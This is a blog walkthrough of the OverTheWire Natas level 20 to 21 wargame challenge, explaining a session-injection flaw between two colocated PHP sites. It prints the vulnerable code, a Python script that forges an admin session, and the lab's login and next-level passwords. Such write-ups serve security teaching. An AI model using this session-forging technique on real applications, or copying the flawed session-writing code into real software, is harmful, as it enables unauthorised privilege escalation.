Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Natas Level 20 → 21 tutorial!!

Login

URL: http://natas21.natas.labs.overthewire.org
Credentials: natas21:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH

# Using curl (optional):
curl -u natas21:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH 
  http://natas21.natas.labs.overthewire.org/

homepage


Task

This level has two colocated sites:

  1. Main site (natas21.natas.labs.overthewire.org) → checks if your session has admin=1 to show the password.

  2. Experimenter site (natas21-experimenter.natas.labs.overthewire.org) → lets you write arbitrary session keys into the same session storage.

We’ll exploit the experimenter to insert admin=1 into the session, then reuse that cookie on the main site.


A little bit of Theory

From the experimenter source:

if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
        $_SESSION[$key] = $val;
    }
}

⚠️ Any key/value pair we pass is written to the session. If we send admin=1, our session now has the correct flag.

Meanwhile, the main site checks:

if ($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
   // print credentials
}

So the trick is: Forge a session with admin=1 on the experimenter → reuse it on the main site.


Solution

Instead of Burp, let’s automate with Python 🚀:

import requests

URL_MAIN = "http://natas21.natas.labs.overthewire.org/"
URL_EXP = "http://natas21-experimenter.natas.labs.overthewire.org/"
AUTH = ("natas21", "BPhv63cKE1lkQl04cE5CuFTzXe15NfiH")

# Start a session so cookies persist
s = requests.Session()
s.auth = AUTH

# Step 1: Forge admin session on the experimenter page
s.get(URL_EXP, params={"submit": "", "admin": "1"})

# Step 2: Reuse the same cookie on the main site
r = s.get(URL_MAIN)
print(r.text)

Running this script prints the HTML response from the main site — including the credentials for the next level 🎉.

python-output


Password

d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz

Troubleshooting

  • Still a regular user? → Ensure you call the experimenter with ?submit&admin=1 before requesting the main site.
  • Session not carried over? → Make sure to use the same requests.Session() so cookies persist.
  • Expired? → Just rerun the script; it will forge a fresh session.

Nice work 🎉 You chained two colocated apps: one to set arbitrary session values, the other to trust them blindly. That gave you the credentials for natas22.


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with